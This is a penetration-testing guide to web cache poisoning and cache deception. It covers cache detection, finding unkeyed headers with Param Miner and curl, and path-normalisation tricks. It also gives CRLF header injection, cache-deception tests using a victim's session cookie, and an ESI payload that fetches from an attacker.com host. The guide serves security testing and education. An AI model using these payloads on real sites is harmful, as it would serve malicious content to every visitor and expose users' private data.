Web Cache Poisoning
Sections Web Cache Poisoning
The cache stores attacker-controlled content under a victim-accessible URL. One request poisons the cache, all subsequent visitors get the malicious response.
T=https://target.com
i. Where it lives
Anywhere there’s a cache between users and the origin:
- CDNs (Cloudflare, Akamai, Fastly, CloudFront, Edgecast)
- Reverse proxies with caching (Varnish, nginx with proxy_cache, HAProxy)
- Application-layer cache (Redis-backed page cache, full-page application caches)
- ESI (Edge Side Includes) processors
Detect a cache:
X-Cache: HIT/X-Cache: MISSheadersCF-Cache-Status: HIT|MISS|EXPIRED|REVALIDATED(Cloudflare)Age: <seconds>headerCache-Control: public, max-age=...- Static asset response times suspiciously fast on repeat (cached)
ii. The fundamental concept
The cache stores responses by cache key - usually method + host + path + query. Inputs that aren’t part of the cache key but DO affect the response are unkeyed inputs. These are the bug class:
- Send a request with attacker-controlled unkeyed input
- The cache stores the malicious response under the normal cache key
- Victims hit that URL, get the cached attacker response
Cache poisoning ≠ cache deception:
- Cache poisoning: trick cache into storing malicious content under a normal URL
- Cache deception: trick cache into storing sensitive content under an attacker-accessible URL (path confusion, see section vii)
iii. Tools
Param Miner (Burp extension)
The single most important tool. Discovers unkeyed inputs automatically.
Burp -> Extensions -> BApp Store -> Param Miner -> install
## Then right-click a request:
## Param Miner -> Guess headers
## Param Miner -> Guess params
## Param Miner -> Guess cookies
Param Miner sends modified versions of the request with a unique cache-buster (random ?cb= param) and compares responses. Differences flag unkeyed inputs that affect the response.
Burp’s cache poisoning Pro scanner
Active audit detects basic cache poisoning automatically. Less comprehensive than Param Miner manual flow.
nuclei templates
nuclei -u "$T" -tags cache,cache-poisoning
Catches common patterns like X-Forwarded-Host poisoning.
iv. Manual unkeyed input discovery
Send the same request twice with different values of a candidate header, see if the response changes:
## Baseline:
curl -sI "$T/?cb=$(date +%s%N)" -H "X-Forwarded-Host: target.com" | head -10
## Modified:
curl -sI "$T/?cb=$(date +%s%N)" -H "X-Forwarded-Host: attacker.com" | head -10
If the body / headers differ but only the second has attacker.com reflected → that header is unkeyed and reflected.
Common unkeyed inputs to test:
X-Forwarded-HostX-HostX-Forwarded-ServerX-HTTP-Host-OverrideX-Original-URLX-Rewrite-URLX-Forwarded-SchemeX-Forwarded-ProtoX-Original-Forwarded-ForX-WAP-ProfileViaUser-Agent(sometimes affects response, rarely unkeyed)- Custom cookies /
Cookie:header subsets
Param Miner’s singles wordlist covers 1000+ candidates.
v. The poisoning workflow
Discover unkeyed input that’s reflected in the response somewhere harmful (URL injected into a link, hostname used in a redirect, value reflected unsafely in HTML).
Confirm cache key boundaries:
- What’s in the cache key? (path, query string, sometimes vary headers)
- What’s NOT in the cache key but affects response? → poison candidate
Craft the malicious response:
- Inject XSS via header reflection
- Inject malicious URL into linked resources
- Inject open redirect destinations
Poison the cache:
- Send the malicious request, wait for
X-Cache: MISSthenHIT - Verify a clean client gets the poisoned response
- Send the malicious request, wait for
Validate from a different IP / browser to confirm it’s not a local effect.
vi. Detect cache key bypasses
Sometimes the cache key normalizes the path (case-insensitive, trailing slashes), so attacker requests /x and /X may share the same cache key. Test with cache-buster variations:
## Same cache key check:
curl -sI "$T/?cb=1" -H "X-Foo: a" ; curl -sI "$T/?cb=1" -H "X-Foo: b"
## Check if X-Cache: HIT on the second
The path itself is sometimes processed (URL decoding, normalization) before becoming the cache key. Path tricks:
/adminvs/admin/vs/admin///adminvs/Admin(case sensitivity)/foo/../admin(path normalization)/admin;param=x(path parameter)/admin%20vs/admin(encoded space)
vii. Web Cache Deception
Cache caches /user/api/me.css because of .css extension matching cache rules. But the back-end ignores the .css and returns /user/api/me (the JSON profile data). Attacker tricks victim into requesting /user/api/me.css, then attacker fetches the same URL and gets the cached victim’s profile data.
Test cache deception:
## Login as victim, request:
curl "$T/api/me/anything.css" -H "Cookie: session=victim_session"
## Then unauthenticated:
curl "$T/api/me/anything.css"
## If second response has victim's data → cache deception confirmed
The trick is finding a static-extension suffix the cache will store and the back-end will ignore. Try .css, .js, .png, .gif, .jpg, .ico, .svg, then path-variant tricks (/x.css, /x/anything.css).
viii. Cache key injection
When the cache uses headers in its cache key (some configs add Cookie, Origin, User-Agent), you can inject characters into those headers that confuse the cache key calculator:
User-Agent: \r\n
Origin: https://target.com\r\n
Server-side cache stores under one key, attacker recreates request to read it.
ix. Tricks worth knowing
Cache buster everywhere
While testing, always append a random query param so you don’t accidentally poison the real cache. ?cb=$(date +%s%N) is the standard.
Time-based reveal
After a poison, wait for the Age header to increment. A successful poison shows the same Age across requests. Different ages = different cache entries or different cache servers.
Multiple cache layers
CDN cache + nginx cache + application cache can all be present. Each has different key calculation. Poisoning each independently sometimes works.
Vary header understanding
Vary: User-Agent means the cache stores separate entries per User-Agent value. Lots of unkeyed-input bugs are actually unkeyed-but-vary-counted. Read Vary: carefully.
Cookie not in cache key by default
Most CDNs don’t include cookies in cache keys (because cookies vary per user). This is also why poisoning often affects ALL users.
Combine with smuggling
WEB10 Request Smuggling can change the request the back-end thinks the cache stored. CDN sees one URL, back-end processes another, cache stores under the CDN’s URL → smuggling-amplified cache poisoning is a top-tier real engagement bug.
Cache-control bypass: ESI injection
Edge Side Includes process server-side tags like <esi:include src="..."/> at the edge cache before serving. When user input is echoed into a page that’s processed by ESI, attacker can inject ESI tags that fetch arbitrary URLs and embed them.
<esi:include src="http://attacker.com/" />
Akamai supports ESI by default in some configurations. Cloudflare has Workers with similar power.
x. Real examples to study
- Spotify cache poisoning (2017, Mathias Karlsson) -
User-Agentreflection - Various Cloudflare/Akamai bug reports on HackerOne
- Web Cache Vulnerability Scanner CTF-style challenges
PortSwigger’s labs have hands-on for every common variant.
xi. References
- PortSwigger - Web Cache Poisoning
- PortSwigger - Web Cache Deception
- PayloadsAllTheThings - Web Cache Deception
- HackTricks - Cache Poisoning
- James Kettle - Practical Web Cache Poisoning - original
- James Kettle - Web Cache Entanglement - newer
- Param Miner
xii. Where it leads
- Stored XSS effect on every visitor (without actually storing on the origin)
- Redirect every user to attacker (open redirect amplified by cache)
- Cred theft via cache deception (sensitive endpoint cached under attacker-accessible URL)
- Denial of service (cache fills with errors, real responses evicted)
- Persistent defacement during cache TTL
Cache poisoning is one of the highest-impact web bugs when it works - affects every user who hits the URL during the TTL window.